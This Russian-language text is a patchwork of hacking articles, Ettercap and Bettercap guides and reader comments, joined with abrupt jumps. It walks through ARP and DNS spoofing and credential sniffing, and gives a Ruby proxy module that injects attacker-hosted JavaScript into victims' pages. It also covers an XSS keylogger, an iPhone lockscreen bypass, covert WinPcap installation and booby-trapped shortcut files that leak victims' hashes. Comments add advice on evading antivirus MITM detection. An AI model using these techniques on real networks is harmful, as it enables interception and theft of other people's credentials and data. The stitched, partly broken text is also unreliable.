Bettercap

IPHONE

Не менее популярна среди разработчиков security-утилит платформа iOS. Но если в случае с  Android права root’а были нужны только для некоторых приложений, то на устройствах от Apple джейлбрейк обязателен почти всегда. К счастью, даже для последней прошивки iДевайсов (5.1.1) уже есть тулза для джейлбрейка. Вместе с полным доступом ты еще получаешь и альтернативный менеджер приложений Cydia, в котором уже собраны многие утилиты.

ПЕРЕХВАТ ДАННЫХ:

Трудно поверить, но этот сложнейший инструмент для реализации MITM-атак всетаки портировали под iOS. После колоссальной работы получилось сделать полноценный мобильный порт. Чтобы избавить себя от танцев с бубном вокруг зависимостей во время самостоятельной компиляции, лучше установить уже собранный пакет, используя Cydia, предварительно добавив в качестве источника данных heworm.altervista.org/cydia. В комплекте идет и утилита etterlog, которая помогает извлечь из собранного дампа трафика различного рода полезную информацию (к примеру, аккаунты к FTP).

АНАЛИЗ БЕСПРОВОДНЫХ СЕТЕЙ:

В старых версиях iOS умельцы запускали aircrack и могли ломать WEP-ключ, но мы проверили: на новых устройствах программа не работает. Поэтому для исследования Wi-Fi нам придется довольствоваться только Wi-Fi-сканерами. WiFi Analyzer анализирует и отображает информацию обо всех доступных 802.11 сетях вокруг, включая информацию о SSID, каналах, вендорах, MAC-адресах и типах шифрования. С такой программой легко найти физическое местоположение точки, если ты вдруг его забыл, и, например, посмотреть написанный WPS PIN, необходимый для подключения.

СЕТЕВЫЕ СКАНЕРЫ:

Какой программой пользуется любой пентестер в любой точке планеты независимо от целей и задач? Сетевым сканером. И в случае с iOS это, скорее всего, будет мощнейший тулкит Scany. Благодаря набору встроенных утилит можно быстро получить подробную картину о сетевых устройствах и, к примеру, открытых портах. Помимо этого пакет включает в себя утилиты тестирования сети, такие как ping, traceroute, nslookup.

Впрочем, многие отдают предпочтение Fing’у. Сканер имеет достаточно простой и ограниченный функционал, но его вполне хватит для первого знакомства с сетью, скажем, кафетерия :). В результатах отображается информация о доступных сервисах на удаленных машинах, MAC-
адреса и имена хостов, подключенных к сканируемой сети.

УДАЛЕННОЕ УПРАВЛЕНИЕ:

Многие сетевые устройства (в том числе дорогие роутеры) управляются по протоколу SNMP. Эта утилита позволяет просканировать подсети на наличие доступных сервисов SNMP с заранее известным значением community string (проще говоря, стандартными паролями). Заметим, что поиск сервисов SNMP со стандартными community string (public/private) в попытке получить доступ к управлению устройствами — неотъемлемая часть любого теста на проникновение наряду с
идентификацией самого периметра и выявлением сервисов.

ВОССТАНОВЛЕНИЕ ПАРОЛЕЙ:

Легендарная программа, помогающая «вспомнить» пароль миллионам хакеров по всему миру, была портирована под iOS. Теперь прямо с iPhone’а возможен перебор паролей к таким сервисам, как HTTP, FTP, Telnet, SSH, SMB, VNC, SMTP, POP3 и многим другим. Правда, для более эффективной атаки лучше запастись хорошими словарями для брутфорса.

Всем не понаслышке известна такая уязвимость, как использование стандартных паролей. PassMule представляет собой своего рода справочник, в котором собраны всевозможные стандартные логины и пароли для сетевых устройств. Они удобно разложены по названиям вендоров, продуктам и моделям, так что найти нужный не составит труда.

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ:

METASPLOIT
www.metasploit.com

подробной инструкцией

Также нелишним будет напомнить что другие хакерские утилиты для андроид вы всегда можете найти на нашем сайте:

Задача: украсть логин, пароль посредством xss и кейлоггера

Решение

XSS бывают разные: активные, пассивные. Первые, конечно, более опасны, так как остаются на серваке, но и со вторыми можно кое-что сваять. Что очень хорошо для нас — XSS-уязвимости чрезвычайно распространены. Это связано и со сложностями защиты от них, но что важнее — с общим отношением к ним, даже у специалистов в области ИБ. Ведь многие не считают XSS за юзабельную уязвимость! Давай посмотрим. Как насчет кейлоггера через XSS? Примитивный кейлоггер состоит из двух компонентов: самого JavaScript’а, отвечающего за перехват нажатий и отправку данных о них, ну и сервера, который будет принимать и сохранять данные. Потому нам требуется левый (можно бесплатный) сервак с поддержкой, например, PHP. JavaScript (код с insanesecurity.info):

Логика такова: скрипт перехватывает нажатия клавиш и сохраняет их в переменную, а через определенные промежутки времени коннектится к нашему PHP-скрипту, передавая полученную переменную в запросе. Далее заливаем на сервер PHP-скрипт:

В зависимости от ситуации, пихаем либо сам код, либо ссылку на него через XSS на сервер или пользователю. Теперь все нажатия клавиш пользователя на странице с нашим яваскриптом будут сохранены на нашем сервере.

Установка Ettercap

Это довольно популярная программа, среди специалистов по сетевой безопасности, поэтому она есть в официальных репозиториях большинства дистрибутивов. Например, чтобы установить Ettercap в Ubuntu выполните:

$ sudo apt install ettercap-gtk

В Fedora или других, основанных на ней дистрибутивах, команда будет выглядеть похожим образом:

$ sudo yum install ettercap-gtk

С задачей как установить Ettercap Linux мы справились, но перед тем, как ее использовать, нужно изменить несколько настроек в конфигурационном файле.

$ sudo vi /etc/ettercap/etter.conf

Строки ec_uid и ec_gid должны иметь значение 0, чтобы сервис программы работал от имени суперпользователя:

ec_uid = 0 # nobody is the default ec_gid = 0 # nobody is the default

Дальше нужно найти и раскоментировать такие две строки:

redir_command_on = «iptables -t nat -A PREROUTING -i %iface -p tcp —dport %port -j REDIRECT —to-port %rport» redir_command_off = «iptables -t nat -D PREROUTING -i %iface -p tcp —dport %port -j REDIRECT —to-port %rport»

Они используются для перенаправления SSL соединений на обычные HTTP, если это возможно. Дальше сохраните изменения и программа готова к работе.

Особенности BETTERCAP

• Средство перехвата (Сниффер) учетных данных

  Встроенное средство перехвата учетных данных теперь способно вскрывать и распечатывать из сети следующую информацию:

  • Посещенные URL;
  • Посещенные HTTPS хосты;
  • Отправленные HTTP данные;
  • Базовая и Систематизированная аутентификация HTTP;
  • Учетные данные FTP;
  • Учетные данные IRC;
  • Учетные данные POP, IMAP и SMTP;
  • Учетные данные NTLMv1/v2 (HTTP, SMB, LDAP, и т.д. ).

  Примеры

  Сниффер режим по умолчанию, все парсеры доступны:

  sudo bettercap -X

  Сниффер подключен и загружает только конкретные парсеры:

  sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

  Сниффер + все парсеры подключены, а также разбирается весь локальный трафик:

  sudo bettercap -X -L

  Сниффер + все парсеры подключены и все сбрасывается в pcap файл:

  sudo bettercap --sniffer --sniffer-pcap=output.pcap

  Что если сохранять только HTTP трафик в pcap файл ?

  sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

  Модульный HTTP и HTTPS прозрачный прокси может быть начат с прокси-аргумента. По умолчанию он не будет делать ничего кроме протоколирования HTTP запросов, но если вы укажете –proxy-module  аргумент, вы сможете загрузить свой собственный модуль и управлять HTTP трафиком так, как вам захочется.

  Вы можете найти некоторые примеры модулей в посвященном этому репозитории.

  Примеры

  Подключенный прокси по умолчанию (8080) порт без модулей (довольно таки бесполезный ):

  sudo bettercap --proxy

  Подключить прокси и использовать пользовательский порт:

  sudo bettercap --proxy --proxy-port=8081

  Подключить прокси и загрузить модуль hack_title.rb:

  sudo bettercap --proxy --proxy-module=hack_title.rb

  Отключить спуфер и включить прокси (автономный режим прокси):

  sudo bettercap --no-spoofing --no-discovery --proxy

  Подключить HTTPS прокси с созданным в реальном времени сертификатом:

  sudo bettercap --proxy-https

  Подключить HTTPS прокси с пользовательским .pem сертификатом:

  sudo bettercap --proxy-https --proxy-pem ./mycert.pem

  Вы хотите обслуживать ваши пользовательские javascript файлы в сети? Может, вы хотите ввести какой-то пользовательский скрипт или образ в HTTP отклик, используя прозрачный прокси модуль, но вы не можете использовать публичный сервер. Не переживай, приятель!

  Встроенный HTTP сервер идет сразу с bettercap, позволяя вам обслуживать пользовательский контент с вашей собственной машины без установки и настройки каких-либо других программ типа Apache, nginx или lighttpd.

  Вы можете использовать proxy module следующим образом:

  class InjectJS < Proxy::Module
  def on_request( request, response )
  # is it a html page?
  if response.content_type =~ /^text\/html.*/
  Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
  # get the local interface address and HTTPD port
  localaddr = Context.get.ifconfig
  localport = Context.get.options
  # inject the js
  response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
  end
  end
  end

  И затем используйте его для введения js файла в любой HTTP отклик сети, используя bettercap для обслуживания файла:

  sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Зависимости

Все зависимости будут автоматически установлены через GEM систему, в некоторых случаях вам может понадобиться установка некоторых системных зависимостей для того, чтобы все заработало:

sudo apt-get install ruby-dev libpcap-dev

Вариант для разработки

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

Как только вы установили bettercap, сразу приступайте к работе с:

Что такое атака «Человек по середине»?

По умолчанию компьютер отправляет все сетевые пакеты, которые нужно отправить в интернет передает маршрутизатору, а тот, в свою очередь, отправляет их на следующий маршрутизатор, пока пакет не достигнет цели. Но по определенным причинам пакет может передаваться не маршрутизатору, а сразу вашему компьютеру, а уже затем маршрутизатору.

Компьютер, через который будут проходить пакеты может анализировать источник, целевой адрес, а если они не зашифрованы, то и полное их содержимое.

Существует два способа выполнения MITM (Man In Middle Attack):

• ARP атака — с помощью особенностей протокола ARP ваш компьютер говорит другим, что он маршрутизатор, после этого все пакеты начинают предаваться ему;
• DNS атака — когда компьютер пытается получить ip адрес для домена, мы подменяем этот адрес на свой, но чтобы этот вид работал, нужно использовать способ с ARP.

Программа Ettercap Linux умеет выполнять оба вида атак. Кроме того, утилита может выполнять атаки на отказ в обслуживании и сканировать порты. А теперь давайте рассмотрим как выполняется установка и использование Ettercap.

Installation¶

BetterCap comes packaged as a Ruby gem, meaning you will need a Ruby interpreter ( >= 1.9 ) and a RubyGems environment installed. Moreover, it is fully compatible with GNU/Linux, Mac OS X and OpenBSD platforms.

Dependencies

All Ruby dependencies will be automatically installed through the GEM system, however some of the GEMS need native libraries in order to compile:

sudo apt-get install build-essential ruby-dev libpcap-dev

Installing on Kali Linux

Kali Linux has bettercap packaged and added to the kali-rolling repositories. To install bettercap and all dependencies in one fell swoop on the latest version of Kali Linux:

apt-get update
apt-get install bettercap    

Stable Release ( GEM )

You can easily install bettercap using the command:

gem install bettercap

To update to a newer release:

gem update bettercap

If you have trouble installing bettercap read the following sections about dependencies.

Note

If you installed bettercap using a RVM installation, you will need to execute it using rvmsudo:
Otherwise, if you installed it globally ( ) you can use sudo:

Development Release

Instead of the stable release, you can also clone the source code from the github repository, this will give you
all the latest and experimental features, but remember that you’re using a potentially unstable release:

git clone https//github.comevilsocketbettercap
cd bettercap
bundle install
gem build bettercap.gemspec
sudo gem install bettercap*.gem

Задача: Обход локскрина на iPhone

Решение

Поговорим немного о мобильной безопасности. А точнее, о знаменитом яблочном продукте, который и в нашей стране достаточно сильно распространен – глазофон :). Мобильники уже давно неотъемлемая часть нашей жизни, а с учетом развития технологий (всевозможных встроенных камер, разнообразного софта, возможности работать в Сети), объемы конфиденциальной информации, хранимой на портативных устройствах, сильно возрастают. И никто не хочет, чтобы она попала кому-то постороннему в руки. А тем более так просто, как это можно сделать с айфоном.

Яблочники допустили оплошность, наверное, в самом важном – в локскрине. И что хуже, для обхода локскрина, не знаний, не умений особых не надо! Любой может всего за пару кликов, залезть в запароленное устройство

Говоря «за пару» — я не сильно преуменьшил ситуацию, смотри сам:

1. Разблочим девайс;
2. Кликаем:
   Emergency Call
3. Набираем 3 решетки:
   # # #
4. Нажимаем Call и почти сразу Power

Все! Lockscreen Bypassed!

Правда, после этого мы попадаем только в контакт лист, а не в стандартный интерфейс. Но и оттуда мы можем увидеть список контактов (что логично :), список звонков, просмотреть фотографии и голосовую почту. Можно звонить кому хочешь! Ходят слухи о доступе к видео, органайзеру и еще каким-то функциям, с помощью всевозможных извратов.

Багу эту нашли в глазофоне с iOS 4.1, но работает она и в предыдущих версиях. Исправление предполагается только в 4.2

Протестить лично не было возможности — не фанат данных продуктов, хотя и юзабилити на высоком уровне, и гринпис яблоки любит… Примеры эксплуатации баги есть на ютубе в большом количестве. Так что посмотри видео и не выпускай свой айфон из рук до выхода патча :).

9 комментариев to Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету, использование пользовательских фильтров и плагинов, подцепление на BeEF, заражение бэкдорами

Тестил на своем смартфоне,все што по HTTPS просто нет конекта(KeteMobile,Viber).В Браузере на гугл говорит HTTP:google.com страница не найдена.Тоесть все работает(MITM),а результата нет.

А почему Ettercap 0.8.2 может не показывать в списке Hosts устройства?

дима это было б вообще круто а зачем же тогад nmap ? ВОТ еслибы тут было описано как не только сниферить и пароли угонять но и закидовать и запускать батники на жертве это быЛО ФНТАСТИЧЕСКИ . закинул батник с загрузчиком линя и такое чудо запустил ВО жертва офигеет после перезагрузки отт черНОго экрана и надписи boot ))))

HTTPS не коннектится, так как нужен сертификат burp

Добрый день, подскажите, как обойти антивирус при совершение атаки MitM. Например, если у пользователя установлен NOD32, то он сообщает об атаке и блокирует ее, у атакуемого интернет работает исправно, но я не могу собрать ни какую информацию….

Видимо, в антивирус встроено определение ARP-спуфинга.

Можно попробовать ICMP, DHCP или DNS спуфинг (поддерживает MITMf). bettercap 1.6 поддерживает ICMP спуфинг.

Если есть доступ к админке роутера, то можно поменять настройки DNS сервера и выполнить атаку с фальшивым DNS.

Опять же, при доступе к админке роутера, можно настроить маршрутизацию через компьютер атакующего.

Если клиент подключён по Wi-Fi, то тут ещё букет атак: поднять Злого Двойника и попытаться подключить клиента к нему; если есть доступ к админке роутера – отключить там Wi-Fi модуль, и поднять вместо него Злого Двойника; или настроить роутер быть повторителем оборудования атакующего и на оборудовании атакующего делать сниффинг.

Вариант на основе социальной инженерии: бесконечный ARP-спуфинг, пока пользователь не подумает, что антивирус сбрендил и не отключить эту функцию.

В общем вариантов много – большой простор для творчества. Подобные защиты антивирусов – это защита от совсем школьников, чтобы не баловались

В конце концов, если что-то действительно важное, можно сделать врезку в Интернет-кабель на лестничной площадке…

Врезка это конечно очень дерзкое дело, спасибо за информацию, будем пробовать.

Ettercap перестал видить роутер,как решить этот момент?Видит только один девайс.

Для sslstrip надо — это: apt install python-twisted-web !!

Типы ARP спуфинг-атак

После того, как злоумышленник добьется первоначального успеха в отравлении кэша ARP других хостов в сети, может быть три основных результата:

• Злоумышленник может следить за трафиком. Они могут скрываться в тени, видя все, что целевой пользователь делает в сети. Это довольно очевидно.
• Атакующий может перехватывать и изменять пакеты в атаке «человек посередине». Они могут перехватывать пароли, введенные на веб-сайте HTTP, просматривать DNS-запросы и разрешать IP-адреса, по которым перемещается цель, чтобы увидеть, какие веб-сайты посещает цель. При атаке «человек посередине» злоумышленник имеет возможность не только увидеть, что происходит в сети, но и манипулировать ею. Например, они могут попытаться снизить уровень шифрования, которое использует соединение, преднамеренно запрашивая небезопасные версии веб-страниц, чтобы упростить задачу злоумышленника по перехвату паролей. Кроме того, хакер может быть просто неприятностью. Например, они могут заменять слова в тексте веб-сайта, переворачивать или заменять изображения или изменять другие типы данных, поступающих к цели и от нее.
• Злоумышленник может отбросить пакеты, предназначенные для цели, чтобы создать атаку типа «отказ в обслуживании». Это, возможно, самый неприятный для цели. Хотя атака с использованием аутентификации Wi-Fi является гораздо более частой причиной атаки сети Wi-Fi, спуфинг ARP может быть гораздо сложнее выяснить. Если злоумышленник решит не пересылать пакеты, которые теперь отправляются ему, вместо цели, цель никогда не получит их. Сеть Wi-Fi может быть заблокирована изнутри, попасть между целью и маршрутизатором, а затем отбросить пакеты, проходящие между ними.

Атака ARP-poisoning в Ettercap

Как я уже говорил, с помощью этой атаки мы можем заставить целевой компьютер отправлять пакеты не маршрутизатору, а нам. Работает все достаточно просто. Компьютер знает IP маршрутизатора, он получил его при подключении к сети. Но каждый раз, когда ему нужно отправить пакет, нужно преобразовать этот универсальный IP адрес в низкоуровневый адрес используемой сетевой технологии, например, для проводного интернета — это MAC адрес.

Для этого используется протокол ARP. Компьютер отправляет запрос всем устройствам в сети, например «кто такой 192.168.1.1» и маршрутизатор, увидев свой адрес отправит в ответе свой MAC. Дальше он будет сохранен в кэше. Но мы можем с помощью Ettercap попросить целевой компьютер обновить свой ARP кэш и передать ему вместо MAC адреса роутера свой MAC адрес. Тогда все пакеты будут передаваться нам, а уже мы отправим их куда нужно.

Перейдем ближе к делу и выполним атаку attercap arp spofing. В Ettercap откройте меню Sniff и выберите Unified Snifing. Затем выберите ваш сетевой интерфейс, например, eth0 или wlan0:

Окно программы измениться и нам будет доступно намного больше функций. Теперь нужно просканировать сеть. Для этого откройте меню Hosts и нажмите Scan hosts. Если даже что-то не работает, то вы можете загрузить список хостов из файла:

Дальше, после быстрого сканирования, если вы откроете Hosts -> Hosts List, то увидите список подключенных к сети устройств:

Чтобы начать атаку нам нужно указать цель 1 и цель 2. В качестве первой цели нужно указать ip машины, которую мы собрались атаковать, а в качестве цели 2 — ip маршрутизатора. Для добавления целей используйте кнопки Add Target 1 и Add Traget 2:

Далее откройте меню MITM и выберите ARP poisoning:

В открывшемся окне отметьте пункт Sniff remote connections, чтобы перехватывать все удаленные соединения от этого компьютера:

Теперь, для запуска процесса подмены в меню Start выберите Start Sniffing.

После этого программа начнет отправлять в сеть пакеты, с запросом для 192.168.1.3 на обновление кэша ARP и замены MAC адреса маршрутизатора на ваш. Атака запущена и успешно выполняется. Вы можете открыть меню View -> Connections и посмотреть активные соединения для целевого устройства:

Если пакет не был зашифрован, то мы можем посмотреть передаваемую информацию клинув по соединению мышью. Слева отображается отправленная информация, а справа — полученная:

Атака DNS-spoofing с помощью Ettercap

Для преобразования имен сайтов в IP адреса сети используется специальная служба — DNS. Когда компьютеру нужен ip сайта он спрашивает его у DNS сервера. Но если вы уже выполняем MITM атаку, то можем подменить ответ сервера таким образом, чтобы вместо IP сервера сайта возвращался наш IP. Сначала нам нужно отредактировать файл /etc/ettercap/etter.dns:

sudo vi /etc/ettercap/etter.dns

Эта запись означает, что мы подменим основной IP google.com.ua на 127.0.0.1

Обратите внимание, что эта атака не выполняется без предыдущей. Дальше откройте меню Plugins -> Manage Plugins:

Затем два раза кликните по плагину dns_spoof:

Плагин будет активирован и вы можете проверять ip на устройстве. DNS действительно подменяется. Например, вы можете выполнить на целевой машине:

Кроме этих плагинов, существуют и другие, с помощью которых вы можете выполнять нужные действия.

Фильтры Ettercap

Фильтры позволяют модифицировать пропускаемые через программу пакеты прямо на лету. Вы можете отбрасывать пакеты, либо вносить в них необходимые изменения с помощью функции replace. Фильтры тоже работают только пока запущена MITM атака. Синтаксис условий, по которым мы будем фильтровать пакеты очень похож на wireshark. Давайте рассмотрим простенький фильтр, который будет заменять все картинки на нашу:

Для тех, кто имел опыт работы с языками программирования здесь должно быть все понятно. Если протокол TCP и порт назначения 80, мы продолжаем поиск и ищем Accept-Encoding. Затем заменяем это слово на любое другое, но эквивалентное по длине. Потому что если браузер будет отправлять Accept-Encoding gzip, то данные будут сжаты и мы там ничего не отфильтруем. Дальше уже в ответе сервера, порт источника 80, мы подменяем все изображения на наше. Теперь фильтр нужно скомпилировать:

etterfilter test.filter -o test.ef

Осталось загрузить фильтр с помощью меню Filters -> Load Filter:

Выберите файл фильтра в файловой системе:

Фильтр будет загружен и вы можете открыть любой сайт, где не используется https чтобы убедиться, что все работает. Чтобы остановить MITM атаку, откройте меню MITM и выберите Stop All Mitm attacks. Наша инструкция Ettercap подходит к концу, но.

УДАЛЕННЫЙ ДОСТУП:

Получив доступ к удаленному хосту, нужно иметь возможность им воспользоваться. А для этого нужны клиенты. Начнем с SSH, где стандартом де-факто уже является ConnectBot. Помимо удобного интерфейса, предоставляет возможность организации защищенных туннелей через SSH подключения.

Специально написанный для Android браузер MIB, с помощью которого можно управлять сетевыми устройствами по протоколу SNMP. Сможет пригодиться для развития вектора атаки на различные маршрутизаторы, ведь стандартные community string (проще говоря, пароль для доступа) для управления через SNMP еще никто не отменял.

Задача: Втихаря установить WinPcap

Решение

Большинство самых приятных хакерских штуковин, к сожалению, просто так в Винде не работают. Им, как минимум, WinPcap нужен. По идее, начиная с XP, доступ к raw-сокетам есть, но то ли он не так хорош, либо из-за удобства (совместимость с libpcap’ом) пользуются именно WinPcap. При взломах это напрягает. Вот в том же Metasploit’е есть модуль для удаленного снифинга трафика, то есть на машине жертвы, но под Win не работает (к сожалению). К тому же, в прошлом номере я писал про meterpreter через icmp-туннель, который также требовал WinPcap для своей работы. После поставленной задачи были проведены небольшие изыскания, и проблема решилась. Оказалось, что все достаточно просто, хотя различные разработчики ПО «тихий установщик» и предлагают за денежку. Требуется всего лишь скопировать файлы:

1. «wpcap.dll» в C:\WINDOWS\system32\
2. «Packet.dll» в C:\WINDOWS\system32\
3. «pthreadVC.dll» в C:\WINDOWS\system32\
4. «npf.sys» в C:\WINDOWS\system32\drivers\

Первые три можно не копировать в системную директорию, а кинуть в ту же папку, что и прогу, которой нужен WinPcap. При этом, во-первых, каждому ПО потребуются свои библиотеки, а во-вторых, нам все равно нужно копировать npf.sys в папку с дровами, то есть и права нужны соответствующие.

Задача: Скрытно заставить жертву подключиться к определенному хосту

Решение

В майском номере я писал о SMB relay-атаках. Одним из важных мест в них была необходимость в том, чтобы жертва подсоединилась к нашему зло-серверу, на котором мы уже и выполняли бы все необходимые действия с хешиками пользователей.

Кроме атак по SMB можно организовать общий «сбор информации» через тот же p0f или слежку за юзером

Заострим внимание на этом – как заставить их подключиться?
Очень удобно для таких вещей пользоваться стандартными возможностями Windows, хотя это требует доступ к общему ресурсу в сети или к компьютеру жертвы

Говоря про «стандартные возможности», я имею в виду то, как Проводник винды обрабатывает некоторые виды файлов. К ним относятся lnk(ярлыки), url (ярлыки интернета) и desktop.ini (настройка отображения папок). В них можно указывать путь к нашему серверу. И когда пользователь будет просматривать папку с этими файлами через Проводник (TotalCommander вроде ведет себя также), то Проводник автоматически подключится к нашему серверу и попытается авторизоваться, что нам и требуется. Итак, создаем url-файл.
Пишем в текстовый файл следующее и сохраняем с расширением url:

Где IconFile – указатель на файл иконки, который ссылается на наш сервер; URL – куда перейдет пользователь, если запустит этот файл.

Проводник, заходя в папку с этим url-файлом, подгружает иконку с нашего сервера, пользователь же ничего плохого заметить не может – ярлык может ссылаться на что-то нужное.
С lnk точно такая же логика. В нем можно задать путь до иконки. Вот только формат ярлыка не позволит отредактировать его в текстовике. Можно стандартными средствами винды создать ярлычок и в его настройках прописать путь до иконки, а потом изменить его в HEХ-редакторе.

Далее – desktop.ini. Это файл настройки отображения системных папок. В нем можно прописать ссылки на наш сервер в разных местах, но и реакция Проводника будет разной:

• В IconFile – читается, когда проводник входит в папку, где находится подпапка, в которой лежит наш desktop.ini;
• LocalizedResourceName – аналогично;
• InfoTip – когда выбирают папку с desktop.ini;
• desktop.ini – когда Проводник входит в папку.

Пример с desktop.ini и всеми методами:

Для того, чтобы desktop.ini заработал, есть одно требование – он должен лежать в системной папке. Сделать папку системной можно командой в консоли:

Зато у методов с иконками есть косяк – если ссылаться не на иконку, то пользователю будет отображаться стандартная виндовая иконка неизвестного файла, что палевно. Но это тоже можно поправить.

Как обычно, для каждой ситуации свое. Данные способы были почерпнуты с уже упомянутого сайта парочки ресерчеров. На нем же выложена тулза (tarasco.org/security/payload/index.html), которая может быстренько генерить файлы перечисленных видов, плюс классические – вставка ссылок в html и doc (ppt, xls) файлы.

Смысла большого в ней не вижу, разве что для генерации lnk-файлов:

Где –t l – указываем тип – lnk-файл;
-d – путь к нашему серверу.

Как защититься?

Наверное, после прочтения статьи у вас возник резонный вопрос, как же защитить свой компьютер от такого вида атак? Для этого есть несколько инструментов, в том числе для операционной системы Linux:

• XArp — графическая утилита, которая может обнаруживать попытки подмены MAC адресов по протоколу ARP и противодействовать этому. Может работать в WIndows и в Linux;
• Snort — достаточно известная система противодействия вторжениям, среди прочего обнаруживает атаки на протокол ARP;
• ArpON — небольшой сервис, который следит за ARP таблицей и защищает ее от подмены MAC адресов.

Используйте программу только для тестирования безопасности своих сетей или приложений, а также не забывайте что незаконные действия в информационном пространстве тоже наказуемы.

На завершение видео с демонстрацией работы программы:

https://youtube.com/watch?v=QhYIzgBqow4

необходимо зарегистрироваться,
для того что бы оставить комментарий